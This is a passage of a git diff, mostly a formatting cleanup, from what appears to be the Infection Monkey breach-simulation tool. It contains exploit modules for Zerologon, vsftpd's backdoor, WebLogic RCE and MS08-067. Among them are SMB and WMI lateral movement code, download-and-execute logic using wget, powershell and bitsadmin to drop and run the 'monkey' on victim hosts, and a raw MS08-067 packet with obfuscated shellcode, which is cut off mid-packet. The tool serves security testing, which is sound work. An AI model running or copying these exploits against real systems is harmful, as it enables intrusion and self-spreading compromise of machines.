f"{USERS[i]}:{RIDS[i]}:{LM_HASHES[i]}:{NT_HASHES[i]}:::" for i in range(len(USERS)) ] expected_extracted_creds = { - USERS[0]:{ - "RID":int(RIDS[0]), - "lm_hash":LM_HASHES[0], - "nt_hash":NT_HASHES[0], + USERS[0]: { + "RID": int(RIDS[0]), + "lm_hash": LM_HASHES[0], + "nt_hash": NT_HASHES[0], }, - USERS[1]:{ - "RID":int(RIDS[1]), - "lm_hash":LM_HASHES[1], - "nt_hash":NT_HASHES[1], + USERS[1]: { + "RID": int(RIDS[1]), + "lm_hash": LM_HASHES[1], + "nt_hash": NT_HASHES[1], }, } assert zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets) is None @@ -76,8 +76,8 @@ def test__extract_user_creds_from_secrets_bad_data(zerologon_exploiter_object): f"{USERS[i]}:{RIDS[i]}:::{LM_HASHES[i]}:{NT_HASHES[i]}:::" for i in range(len(USERS)) ] expected_extracted_creds = { - USERS[0]:{"RID":int(RIDS[0]), "lm_hash":"", "nt_hash":""}, - USERS[1]:{"RID":int(RIDS[1]), "lm_hash":"", "nt_hash":""}, + USERS[0]: {"RID": int(RIDS[0]), "lm_hash": "", "nt_hash": ""}, + USERS[1]: {"RID": int(RIDS[1]), "lm_hash": "", "nt_hash": ""}, } assert zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets) is None assert zerologon_exploiter_object._extracted_creds == expected_extracted_creds diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index b728a29b3de..a863f9499c2 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -32,7 +32,7 @@ def get_target_monkey(host): # if exe not found, and we have the same arch or arch is unknown and we are 32bit, # use our exe if (not host.os.get("machine") and sys.maxsize < 2 ** 32) or host.os.get( - "machine", "" + "machine", "" ).lower() == platform.machine().lower(): monkey_path = sys.executable @@ -46,7 +46,7 @@ def get_target_monkey_by_os(is_windows, is_32bit): def build_monkey_commandline_explicitly( - parent=None, tunnel=None, server=None, depth=None, location=None, vulnerable_port=None + parent=None, tunnel=None, server=None, depth=None, location=None, vulnerable_port=None ): cmdline = "" @@ -72,12 +72,12 @@ def build_monkey_commandline(target_host, depth, vulnerable_port, location=None) from infection_monkey.config import GUID return build_monkey_commandline_explicitly( - GUID, - target_host.default_tunnel, - target_host.default_server, - depth, - location, - vulnerable_port, + GUID, + target_host.default_tunnel, + target_host.default_server, + depth, + location, + vulnerable_port, ) @@ -107,13 +107,13 @@ def get_monkey_dest_path(url_to_monkey): return WormConfiguration.dropper_target_path_win_64 else: LOG.error( - "Could not figure out what type of monkey server was trying to upload, " - "thus destination path can not be chosen." + "Could not figure out what type of monkey server was trying to upload, " + "thus destination path can not be chosen." ) return False except AttributeError: LOG.error( - "Seems like monkey's source configuration property names changed. " - "Can not get destination path to upload monkey" + "Seems like monkey's source configuration property names changed. " + "Can not get destination path to upload monkey" ) return False diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index 6b218a0bfff..d186adbab1f 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -43,7 +43,7 @@ def create_transfer(host, src_path, local_ip=None, local_port=None): @staticmethod def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None): http_path, http_thread = HTTPTools.create_locked_transfer( - host, src_path, local_ip, local_port + host, src_path, local_ip, local_port ) if not http_path: raise Exception("Http transfer creation failed.") @@ -98,7 +98,7 @@ def start(self): # Get monkey exe for host and it's path src_path = try_get_target_monkey(self.host) self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer( - self.host, src_path + self.host, src_path ) def stop(self): diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py index 28af92a3e08..2d38b593c71 100644 --- a/monkey/infection_monkey/exploit/tools/payload_parsing.py +++ b/monkey/infection_monkey/exploit/tools/payload_parsing.py @@ -47,15 +47,15 @@ def is_suffix_and_prefix_too_long(self): def split_into_array_of_smaller_payloads(self): if self.is_suffix_and_prefix_too_long(): raise Exception( - "Can't split command into smaller sub-commands because commands' prefix and " - "suffix already " - "exceeds required length of command." + "Can't split command into smaller sub-commands because commands' prefix and " + "suffix already " + "exceeds required length of command." ) elif self.command == "": return [self.prefix + self.suffix] wrapper = textwrap.TextWrapper( - drop_whitespace=False, width=self.get_max_sub_payload_length() + drop_whitespace=False, width=self.get_max_sub_payload_length() ) commands = [self.get_payload(part) for part in wrapper.wrap(self.command)] return commands diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing_test.py b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py index 738d7f760fd..18dcf6df244 100644 --- a/monkey/infection_monkey/exploit/tools/payload_parsing_test.py +++ b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py @@ -14,8 +14,8 @@ def test_is_suffix_and_prefix_too_long(self): pld_fail = LimitedSizePayload("b", 2, "a", "c") pld_success = LimitedSizePayload("b", 3, "a", "c") assert ( - pld_fail.is_suffix_and_prefix_too_long() - and not pld_success.is_suffix_and_prefix_too_long() + pld_fail.is_suffix_and_prefix_too_long() + and not pld_success.is_suffix_and_prefix_too_long() ) def test_split_into_array_of_smaller_payloads(self): @@ -23,17 +23,16 @@ def test_split_into_array_of_smaller_payloads(self): pld1 = LimitedSizePayload(test_str1, max_length=16, prefix="prefix", suffix="suffix") array1 = pld1.split_into_array_of_smaller_payloads() test1 = bool( - array1[0] == "prefix1234suffix" - and array1[1] == "prefix5678suffix" - and array1[2] == "prefix9suffix" + array1[0] == "prefix1234suffix" + and array1[1] == "prefix5678suffix" + and array1[2] == "prefix9suffix" ) test_str2 = "12345678" pld2 = LimitedSizePayload(test_str2, max_length=16, prefix="prefix", suffix="suffix") array2 = pld2.split_into_array_of_smaller_payloads() test2 = bool( - array2[0] == "prefix1234suffix" and array2[1] == "prefix5678suffix" and len( - array2) == 2 + array2[0] == "prefix1234suffix" and array2[1] == "prefix5678suffix" and len(array2) == 2 ) assert test1 and test2 diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index c521facfbb0..5fc2b4a443b 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -21,14 +21,14 @@ class SmbTools(object): @staticmethod def copy_file( - host, src_path, dst_path, username, password, lm_hash="", ntlm_hash="", timeout=60 + host, src_path, dst_path, username, password, lm_hash="", ntlm_hash="", timeout=60 ): assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,) config = infection_monkey.config.WormConfiguration src_file_size = monkeyfs.getsize(src_path) smb, dialect = SmbTools.new_smb_connection( - host, username, password, lm_hash, ntlm_hash, timeout + host, username, password, lm_hash, ntlm_hash, timeout ) if not smb: return None @@ -36,14 +36,14 @@ def copy_file( # skip guest users if smb.isGuestSession() > 0: LOG.debug( - "Connection to %r granted guest privileges with user: %s, password (SHA-512): " - "'%s'," - " LM hash (SHA-512): %s, NTLM hash (SHA-512): %s", - host, - username, - Configuration.hash_sensitive_data(password), - Configuration.hash_sensitive_data(lm_hash), - Configuration.hash_sensitive_data(ntlm_hash), + "Connection to %r granted guest privileges with user: %s, password (SHA-512): " + "'%s'," + " LM hash (SHA-512): %s, NTLM hash (SHA-512): %s", + host, + username, + Configuration.hash_sensitive_data(password), + Configuration.hash_sensitive_data(lm_hash), + Configuration.hash_sensitive_data(ntlm_hash), ) try: @@ -60,12 +60,12 @@ def copy_file( return None info = { - "major_version":resp["InfoStruct"]["ServerInfo102"]["sv102_version_major"], - "minor_version":resp["InfoStruct"]["ServerInfo102"]["sv102_version_minor"], - "server_name":resp["InfoStruct"]["ServerInfo102"]["sv102_name"].strip("\0 "), - "server_comment":resp["InfoStruct"]["ServerInfo102"]["sv102_comment"].strip("\0 "), - "server_user_path":resp["InfoStruct"]["ServerInfo102"]["sv102_userpath"].strip("\0 "), - "simultaneous_users":resp["InfoStruct"]["ServerInfo102"]["sv102_users"], + "major_version": resp["InfoStruct"]["ServerInfo102"]["sv102_version_major"], + "minor_version": resp["InfoStruct"]["ServerInfo102"]["sv102_version_minor"], + "server_name": resp["InfoStruct"]["ServerInfo102"]["sv102_name"].strip("\0 "), + "server_comment": resp["InfoStruct"]["ServerInfo102"]["sv102_comment"].strip("\0 "), + "server_user_path": resp["InfoStruct"]["ServerInfo102"]["sv102_userpath"].strip("\0 "), + "simultaneous_users": resp["InfoStruct"]["ServerInfo102"]["sv102_users"], } LOG.debug("Connected to %r using %s:\n%s", host, dialect, pprint.pformat(info)) @@ -90,23 +90,23 @@ def copy_file( if current_uses >= max_uses: LOG.debug( - "Skipping share '%s' on victim %r because max uses is exceeded", - share_name, - host, + "Skipping share '%s' on victim %r because max uses is exceeded", + share_name, + host, ) continue elif not share_path: LOG.debug( - "Skipping share '%s' on victim %r because share path is invalid", - share_name, - host, + "Skipping share '%s' on victim %r because share path is invalid", + share_name, + host, ) continue - share_info = {"share_name":share_name, "share_path":share_path} + share_info = {"share_name": share_name, "share_path": share_path} if dst_path.lower().startswith(share_path.lower()): - high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),) + high_priority_shares += ((ntpath.sep + dst_path[len(share_path) :], share_info),) low_priority_shares += ((ntpath.sep + file_name, share_info),) @@ -119,7 +119,7 @@ def copy_file( if not smb: smb, _ = SmbTools.new_smb_connection( - host, username, password, lm_hash, ntlm_hash, timeout + host, username, password, lm_hash, ntlm_hash, timeout ) if not smb: return None @@ -128,17 +128,16 @@ def copy_file( smb.connectTree(share_name) except Exception as exc: LOG.debug( - "Error connecting tree to share '%s' on victim %r: %s", share_name, host, - exc + "Error connecting tree to share '%s' on victim %r: %s", share_name, host, exc ) continue LOG.debug( - "Trying to copy monkey file to share '%s' [%s + %s] on victim %r", - share_name, - share_path, - remote_path, - host.ip_addr[0], + "Trying to copy monkey file to share '%s' [%s + %s] on victim %r", + share_name, + share_path, + remote_path, + host.ip_addr[0], ) remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep)) @@ -153,8 +152,7 @@ def copy_file( return remote_full_path LOG.debug( - "Remote monkey file is found but different, moving along with " - "attack" + "Remote monkey file is found but different, moving along with " "attack" ) except Exception: pass # file isn't found on remote victim, moving on @@ -167,28 +165,26 @@ def copy_file( file_uploaded = True T1105Telem( - ScanStatus.USED, get_interface_to_target(host.ip_addr), host.ip_addr, - dst_path + ScanStatus.USED, get_interface_to_target(host.ip_addr), host.ip_addr, dst_path ).send() LOG.info( - "Copied monkey file '%s' to remote share '%s' [%s] on victim %r", - src_path, - share_name, - share_path, - host, + "Copied monkey file '%s' to remote share '%s' [%s] on victim %r", + src_path, + share_name, + share_path, + host, ) break except Exception as exc: LOG.debug( - "Error uploading monkey to share '%s' on victim %r: %s", share_name, host, - exc + "Error uploading monkey to share '%s' on victim %r: %s", share_name, host, exc ) T1105Telem( - ScanStatus.SCANNED, - get_interface_to_target(host.ip_addr), - host.ip_addr, - dst_path, + ScanStatus.SCANNED, + get_interface_to_target(host.ip_addr), + host.ip_addr, + dst_path, ).send() continue finally: @@ -201,14 +197,14 @@ def copy_file( if not file_uploaded: LOG.debug( - "Couldn't find a writable share for exploiting victim %r with " - "username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (" - "SHA-512): %s", - host, - username, - Configuration.hash_sensitive_data(password), - Configuration.hash_sensitive_data(lm_hash), - Configuration.hash_sensitive_data(ntlm_hash), + "Couldn't find a writable share for exploiting victim %r with " + "username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (" + "SHA-512): %s", + host, + username, + Configuration.hash_sensitive_data(password), + Configuration.hash_sensitive_data(lm_hash), + Configuration.hash_sensitive_data(ntlm_hash), ) return None @@ -228,9 +224,9 @@ def new_smb_connection(host, username, password, lm_hash="", ntlm_hash="", timeo return None, None dialect = { - SMB_DIALECT:"SMBv1", - SMB2_DIALECT_002:"SMBv2.0", - SMB2_DIALECT_21:"SMBv2.1", + SMB_DIALECT: "SMBv1", + SMB2_DIALECT_002: "SMBv2.0", + SMB2_DIALECT_21: "SMBv2.1", }.get(smb.getDialect(), "SMBv3.0") # we know this should work because the WMI connection worked @@ -238,14 +234,14 @@ def new_smb_connection(host, username, password, lm_hash="", ntlm_hash="", timeo smb.login(username, password, "", lm_hash, ntlm_hash) except Exception as exc: LOG.debug( - "Error while logging into %r using user: %s, password (SHA-512): '%s', " - "LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: %s", - host, - username, - Configuration.hash_sensitive_data(password), - Configuration.hash_sensitive_data(lm_hash), - Configuration.hash_sensitive_data(ntlm_hash), - exc, + "Error while logging into %r using user: %s, password (SHA-512): '%s', " + "LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: %s", + host, + username, + Configuration.hash_sensitive_data(password), + Configuration.hash_sensitive_data(lm_hash), + Configuration.hash_sensitive_data(ntlm_hash), + exc, ) return None, dialect @@ -264,7 +260,7 @@ def execute_rpc_call(smb, rpc_func, *args): @staticmethod def get_dce_bind(smb): rpctransport = transport.SMBTransport( - smb.getRemoteHost(), smb.getRemoteHost(), filename=r"\srvsvc", smb_connection=smb + smb.getRemoteHost(), smb.getRemoteHost(), filename=r"\srvsvc", smb_connection=smb ) dce = rpctransport.get_dce_rpc() dce.connect() diff --git a/monkey/infection_monkey/exploit/tools/test_helpers.py b/monkey/infection_monkey/exploit/tools/test_helpers.py index 37c784d24c7..60cc136e558 100644 --- a/monkey/infection_monkey/exploit/tools/test_helpers.py +++ b/monkey/infection_monkey/exploit/tools/test_helpers.py @@ -7,12 +7,12 @@ class TestHelpers(unittest.TestCase): def test_build_monkey_commandline_explicitly(self): test1 = " -p 101010 -t 10.10.101.10 -s 127.127.127.127:5000 -d 0 -l C:\\windows\\abc -vp 80" result1 = build_monkey_commandline_explicitly( - 101010, "10.10.101.10", "127.127.127.127:5000", 0, "C:\\windows\\abc", 80 + 101010, "10.10.101.10", "127.127.127.127:5000", 0, "C:\\windows\\abc", 80 ) test2 = " -p parent -s 127.127.127.127:5000 -d 0 -vp 80" result2 = build_monkey_commandline_explicitly( - parent="parent", server="127.127.127.127:5000", depth="0", vulnerable_port="80" + parent="parent", server="127.127.127.127:5000", depth="0", vulnerable_port="80" ) self.assertEqual(test1, result1) diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py index 0bb9e35c4bb..b6d96aa820d 100644 --- a/monkey/infection_monkey/exploit/tools/wmi_tools.py +++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py @@ -17,8 +17,8 @@ class DceRpcException(Exception): class AccessDeniedException(Exception): def __init__(self, host, username, password, domain): super(AccessDeniedException, self).__init__( - "Access is denied to %r with username %s\\%s and password %r" - % (host, domain, username, password) + "Access is denied to %r with username %s\\%s and password %r" + % (host, domain, username, password) ) @@ -37,18 +37,18 @@ def connect(self, host, username, password, domain=None, lmhash="", nthash=""): domain = host.ip_addr dcom = DCOMConnection( - host.ip_addr, - username=username, - password=password, - domain=domain, - lmhash=lmhash, - nthash=nthash, - oxidResolver=True, + host.ip_addr, + username=username, + password=password, + domain=domain, + lmhash=lmhash, + nthash=nthash, + oxidResolver=True, ) try: iInterface = dcom.CoCreateInstanceEx( - wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login + wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login ) except Exception as exc: dcom.disconnect() diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index fb474921798..8af8e24d994 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -122,7 +122,7 @@ def _exploit_host(self): # Upload the monkey to the machine monkey_path = dropper_target_path_linux - download_command = WGET_HTTP_UPLOAD % {"monkey_path":monkey_path, "http_path":http_path} + download_command = WGET_HTTP_UPLOAD % {"monkey_path": monkey_path, "http_path": http_path} download_command = str.encode(str(download_command) + "\n") LOG.info("Download command is %s", download_command) if self.socket_send(backdoor_socket, download_command): @@ -135,7 +135,7 @@ def _exploit_host(self): http_thread.stop() # Change permissions - change_permission = CHMOD_MONKEY % {"monkey_path":monkey_path} + change_permission = CHMOD_MONKEY % {"monkey_path": monkey_path} change_permission = str.encode(str(change_permission) + "\n") LOG.info("change_permission command is %s", change_permission) backdoor_socket.send(change_permission) @@ -143,12 +143,12 @@ def _exploit_host(self): # Run monkey on the machine parameters = build_monkey_commandline( - self.host, get_monkey_depth() - 1, vulnerable_port=FTP_PORT + self.host, get_monkey_depth() - 1, vulnerable_port=FTP_PORT ) run_monkey = RUN_MONKEY % { - "monkey_path":monkey_path, - "monkey_type":MONKEY_ARG, - "parameters":parameters, + "monkey_path": monkey_path, + "monkey_type": MONKEY_ARG, + "parameters": parameters, } # Set unlimited to memory @@ -159,10 +159,10 @@ def _exploit_host(self): time.sleep(FTP_TIME_BUFFER) if backdoor_socket.send(run_monkey): LOG.info( - "Executed monkey '%s' on remote victim %r (cmdline=%r)", - self._config.dropper_target_path_linux, - self.host, - run_monkey, + "Executed monkey '%s' on remote victim %r (cmdline=%r)", + self._config.dropper_target_path_linux, + self.host, + run_monkey, ) self.add_executed_cmd(run_monkey.decode()) return True diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index e5c5a33bf8f..dafa6164abb 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -52,9 +52,9 @@ def __init__(self, host, monkey_target_paths=None): self.monkey_target_paths = monkey_target_paths else: self.monkey_target_paths = { - "linux":self._config.dropper_target_path_linux, - "win32":self._config.dropper_target_path_win_32, - "win64":self._config.dropper_target_path_win_64, + "linux": self._config.dropper_target_path_linux, + "win32": self._config.dropper_target_path_win_32, + "win64": self._config.dropper_target_path_win_64, } self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.skip_exist = self._config.skip_exploit_if_file_exist @@ -117,12 +117,12 @@ def _exploit_host(self): # Skip if monkey already exists and this option is given if ( - not exploit_config["blind_exploit"] - and self.skip_exist - and self.check_remote_files(self.target_url) + not exploit_config["blind_exploit"] + and self.skip_exist + and self.check_remote_files(self.target_url) ): LOG.info( - "Host %s was already infected under the current configuration, done" % self.host + "Host %s was already infected under the current configuration, done" % self.host ) return True @@ -142,10 +142,10 @@ def _exploit_host(self): # Execute remote monkey if ( - self.execute_remote_monkey( - self.get_target_url(), data["path"], exploit_config["dropper"] - ) - is False + self.execute_remote_monkey( + self.get_target_url(), data["path"], exploit_config["dropper"] + ) + is False ): return False @@ -169,15 +169,15 @@ def get_open_service_ports(self, port_list, names): """ candidate_services = {} candidate_services.update( - { - service:self.host.services[service] - for service in self.host.services - if ( - self.host.services[service] - and "name" in self.host.services[service] - and self.host.services[service]["name"] in names + { + service: self.host.services[service] + for service in self.host.services + if ( + self.host.services[service] + and "name" in self.host.services[service] + and self.host.services[service]["name"] in names ) - } + } ) valid_ports = [ @@ -202,12 +202,12 @@ def get_command(self, path, http_path, commands): else: command = commands["windows"] # Format command - command = command % {"monkey_path":path, "http_path":http_path} + command = command % {"monkey_path": path, "http_path": http_path} except KeyError: LOG.error( - "Provided command is missing/bad for this type of host! " - "Check upload_monkey function docs before using custom monkey's upload " - "commands." + "Provided command is missing/bad for this type of host! " + "Check upload_monkey function docs before using custom monkey's upload " + "commands." ) return False return command @@ -252,7 +252,7 @@ def build_potential_urls(self, ports, extensions=None): else: protocol = "http" url_list.append( - join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension) + join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension) ) if not url_list: LOG.info("No attack url's were built") @@ -314,8 +314,8 @@ def check_remote_monkey_file(self, url, path): return False else: LOG.info( - "Host %s was already infected under the current configuration, done" - % str(self.host) + "Host %s was already infected under the current configuration, done" + % str(self.host) ) return True @@ -372,8 +372,8 @@ def run_backup_commands(self, resp, url, dest_path, http_path): if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp: LOG.info("Powershell not found in host. Using bitsadmin to download.") backup_command = BITSADMIN_CMDLINE_HTTP % { - "monkey_path":dest_path, - "http_path":http_path, + "monkey_path": dest_path, + "http_path": http_path, } T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send() resp = self.exploit(url, backup_command) @@ -402,7 +402,7 @@ def upload_monkey(self, url, commands=None): LOG.info("Started http server on %s", http_path) # Choose command: if not commands: - commands = {"windows":POWERSHELL_HTTP_UPLOAD, "linux":WGET_HTTP_UPLOAD} + commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD} command = self.get_command(paths["dest_path"], http_path, commands) resp = self.exploit(url, command) self.add_executed_cmd(command) @@ -415,7 +415,7 @@ def upload_monkey(self, url, commands=None): if resp is False: return resp else: - return {"response":resp, "path":paths["dest_path"]} + return {"response": resp, "path": paths["dest_path"]} def change_permissions(self, url, path, command=None): """ @@ -430,7 +430,7 @@ def change_permissions(self, url, path, command=None): LOG.info("Permission change not required for windows") return True if not command: - command = CHMOD_MONKEY % {"monkey_path":path} + command = CHMOD_MONKEY % {"monkey_path": path} try: resp = self.exploit(url, command) T1222Telem(ScanStatus.USED, command, self.host).send() @@ -448,8 +448,7 @@ def change_permissions(self, url, path, command=None): return False elif "No such file or directory" in resp: LOG.error( - "Could not change permission because monkey was not found. Check path " - "parameter." + "Could not change permission because monkey was not found. Check path " "parameter." ) return False LOG.info("Permission change finished") @@ -471,21 +470,21 @@ def execute_remote_monkey(self, url, path, dropper=False): if default_path is False: return False monkey_cmd = build_monkey_commandline( - self.host, get_monkey_depth() - 1, self.vulnerable_port, default_path + self.host, get_monkey_depth() - 1, self.vulnerable_port, default_path ) command = RUN_MONKEY % { - "monkey_path":path, - "monkey_type":DROPPER_ARG, - "parameters":monkey_cmd, + "monkey_path": path, + "monkey_type": DROPPER_ARG, + "parameters": monkey_cmd, } else: monkey_cmd = build_monkey_commandline( - self.host, get_monkey_depth() - 1, self.vulnerable_port + self.host, get_monkey_depth() - 1, self.vulnerable_port ) command = RUN_MONKEY % { - "monkey_path":path, - "monkey_type":MONKEY_ARG, - "parameters":monkey_cmd, + "monkey_path": path, + "monkey_type": MONKEY_ARG, + "parameters": monkey_cmd, } try: LOG.info("Trying to execute monkey using command: {}".format(command)) @@ -519,7 +518,7 @@ def get_monkey_upload_path(self, url_to_monkey): """ if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey): LOG.error( - "Can't get destination path because source path %s is invalid.", url_to_monkey + "Can't get destination path because source path %s is invalid.", url_to_monkey ) return False try: @@ -531,15 +530,15 @@ def get_monkey_upload_path(self, url_to_monkey): return self.monkey_target_paths["win64"] else: LOG.error( - "Could not figure out what type of monkey server was trying to upload, " - "thus destination path can not be chosen." + "Could not figure out what type of monkey server was trying to upload, " + "thus destination path can not be chosen." ) return False except KeyError: LOG.error( - 'Unknown key was found. Please use "linux", "win32" and "win64" keys to ' - "initialize " - "custom dict of monkey's destination paths" + 'Unknown key was found. Please use "linux", "win32" and "win64" keys to ' + "initialize " + "custom dict of monkey's destination paths" ) return False @@ -556,7 +555,7 @@ def get_monkey_paths(self): dest_path = self.get_monkey_upload_path(src_path) if not dest_path: return False - return {"src_path":src_path, "dest_path":dest_path} + return {"src_path": src_path, "dest_path": dest_path} def get_default_dropper_path(self): """ @@ -565,7 +564,7 @@ def get_default_dropper_path(self): E.g. config.dropper_target_path_linux(/tmp/monkey.sh) for linux host """ if not self.host.os.get("type") or ( - self.host.os["type"] != "linux" and self.host.os["type"] != "windows" + self.host.os["type"] != "linux" and self.host.os["type"] != "windows" ): LOG.error("Target's OS was either unidentified or not supported. Aborting") return False diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index 4e90d92d430..a10700ac3e9 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -24,9 +24,9 @@ EXECUTION_TIMEOUT = 15 # Malicious requests' headers: HEADERS = { - "Content-Type":"text/xml;charset=UTF-8", - "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) " - "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36", + "Content-Type": "text/xml;charset=UTF-8", + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) " + "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36", } @@ -65,7 +65,7 @@ class WebLogic201710271(WebRCE): def __init__(self, host): super(WebLogic201710271, self).__init__( - host, {"linux":"/tmp/monkey.sh", "win32":"monkey32.exe", "win64":"monkey64.exe"} + host, {"linux": "/tmp/monkey.sh", "win32": "monkey32.exe", "win64": "monkey64.exe"} ) def get_exploit_config(self): @@ -78,13 +78,13 @@ def get_exploit_config(self): def exploit(self, url, command): if "linux" in self.host.os["type"]: payload = self.get_exploit_payload( - "/bin/sh", "-c", command + " 1> /dev/null 2> /dev/null" + "/bin/sh", "-c", command + " 1> /dev/null 2> /dev/null" ) else: payload = self.get_exploit_payload("cmd", "/c", command + " 1> NUL 2> NUL") try: post( - url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False + url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False ) # noqa: DUO123 except Exception as e: LOG.error("Connection error: %s" % e) @@ -122,7 +122,7 @@ def check_if_exploitable_weblogic(self, url, httpd): payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port) try: post( - url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False + url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False ) # noqa: DUO123 except exceptions.ReadTimeout: # Our request will not get response thus we get ReadTimeout error @@ -292,7 +292,7 @@ def exploit(self, url, command): return False def check_if_exploitable(self, url): - headers = copy.deepcopy(HEADERS).update({"SOAPAction":""}) + headers = copy.deepcopy(HEADERS).update({"SOAPAction": ""}) res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT) if res.status_code == 500 and "env:Client" in res.text: return True diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index d9c0cdc5154..16b971cd80a 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -63,22 +63,22 @@ SHELLCODE = clarify(OBFUSCATED_SHELLCODE).decode() XP_PACKET = ( - "\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43" - "\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01" - "\x00\x00\x5c\x00\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47" - "\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48" - "\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49" - "\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a" - "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x90" - "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" - "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" - "\x90\x90\x90\x90\x90\x90\x90" + SHELLCODE + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00" - "\x2e\x00\x5c\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x08\x04\x02" - "\x00\xc2\x17\x89\x6f\x41\x41\x41\x41\x07\xf8\x88\x6f\x41\x41\x41\x41\x41\x41\x41\x41" - "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" - "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x90\x90\x90\x90\x90\x90\x90\x90" - "\xeb\x62\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\xe8\x03\x00\x00\x02\x00\x00" - "\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00" + "\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43" + "\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01" + "\x00\x00\x5c\x00\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47" + "\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48" + "\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49" + 